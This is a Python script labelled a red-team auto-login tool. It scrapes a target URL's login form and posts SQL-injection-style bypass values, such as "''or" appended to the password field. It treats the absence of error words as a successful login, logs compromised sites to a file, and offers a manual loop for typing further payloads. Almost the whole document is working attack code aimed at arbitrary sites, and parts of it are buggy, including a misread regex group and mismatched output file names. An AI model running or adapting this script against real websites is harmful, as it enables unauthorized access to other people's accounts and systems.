Red team URL auto login script

import requests
import re
import os

def get_post_url(ng, site):
    """Extracts the post URL from the HTML response."""
    posturl_matches = re.findall(r"post\('[^']*'|POST\('[^']*'|action=\"[^\"]*\"", ng)
    posturl = ""
    if posturl_matches:
        posturl = sorted(set([re.sub(r"action=\"|post\('|'\"", '', u) for u in posturl_matches]))[0]

    if "action=\"http" in ng:
        post = re.search(r'action="([^"]*)"', ng).group(1)
    else:
        # Determine the base post URL structure
        if re.search(r"\.", site.split("/")[-1]):
            tmp = site.split("/")[-1]
            post = site.replace(tmp, "")
        else:
            post = "/".join(site.split("/")[:2]) + posturl
    return post


def extract_form_values(ng):
    """Extracts form input fields and their current values."""
    value_matches = re.findall(r'(<input).*?(>)', ng)
    values = []
    for match in value_matches:
        name_value = re.findall(r'name="([^"]*)" value="([^"]*)"', match[1])
        if name_value:
            values.extend(name_value)
    return "&".join([f"{name}={val}" for name, val in values])


def attempt_login(post, postdata):
    """Attempts to log in by sending a POST request."""
    try:
        response = requests.post(post, data=postdata)
        return response.text
    except requests.RequestException as e:
        print(f"[ERROR] Request failed: {e}")
        return None


def bypass(target, exploits, list_xploit=None):
    """Attempts login bypass using a list of exploits."""
    print(f"\n[*] Starting {target}")

    site = target.replace("http://", "").replace("https://", "")
    try:
        ng = requests.get(f"http://{site}").text
    except requests.RequestException as e:
        print(f"[ERROR] Failed to retrieve the page: {e}")
        return

    post = get_post_url(ng, site)
    value = extract_form_values(ng)

    # Get form parameters (limit to 2 parameters for simplicity)
    param_matches = sorted(set(re.findall(r'name="([^"]*)', ng)))
    param1 = param_matches[0] if param_matches else ""
    param2 = param_matches[1] if len(param_matches) > 1 else ""

    for xploit in exploits:
        print(f"[INFO] Trying login with: {xploit}")

        # Construct POST data
        if "@gmail" in xploit:
            postdata = f"{param1}={xploit}&{param2}=''or{value}"
        else:
            postdata = f"{param1}={xploit}&{param2}={xploit}{value}"

        response_text = attempt_login(post, postdata)

        # Check for common login failure error messages
        if response_text and re.search(r"(User|user|password|Password|Username|username|email|Email|salah|Salah|Gagal|wrong|Invalid|error)", response_text):
            print(f"[INFO] Login failed with: {xploit}")
            print(f"Post data: {post} -d {postdata}\n")
        else:
            if xploit == "test" or not xploit:
                print("[INFO] Failed to get login\n")
                break
            success_message = f"\n+++++++++++++++++++++!!![ login success ]!!!+++++++++++++++++++++\nSite: {target} \nLogin: {xploit}"
            print(f"{success_message}\n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++")
            with open("vuln.txt", "a") as f:
                f.write(f"{success_message}\n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n")
            print(f"\a[INFO] Login successful\nSite: {target}\nLogin: {xploit}\nSaved: vuln-bypass.txt\n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n")
            break
    else:
        # Fallback for semi-manual exploit attempt
        print("[INFO] Automatic exploit failed. Attempting semi-manual method.")
        param1 = input("[INFO] Enter parameter name to try manually: ")

        while True:
            xploit = input("\nEnter exploit value: ")
            if not xploit:
                print("[INFO] No exploit value entered, skipping...")
                break

            print(f"Attempting to post to {post}")
            postdata = f"{param1}={xploit}{value}"
            response_text = attempt_login(post, postdata)

            if response_text and re.search(r"(User|user|password|Password|Username|username|email|Email|salah|Salah|Gagal|wrong|Invalid|error)", response_text):
                print(f"[INFO] Login failed with: {xploit}")
                print(f"Post data: {post} -d {postdata}\n")
            else:
                success_message = f"\n+++++++++++++++++++++!!![ login success ]!!!+++++++++++++++++++++\nSite: {target} \nLogin: {xploit}"
                print(f"{success_message}\n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++")
                with open("vuln.txt", "a") as f:
                    f.write(f"{success_message}\n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n")
                print(f"\a[INFO] Login successful\nSite: {target}\nLogin: {xploit}\nSaved: vuln-bypass.txt\n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n")
                break

    print("[INFO] Exploit attempt complete")


if __name__ == "__main__":
    target = input("Enter target URL: ")
    exploits = ["[email protected]", "[email protected]", "test"]  # Example exploits
    list_xploit = None  # You can specify a path to an exploit file if needed
    bypass(target, exploits, list_xploit)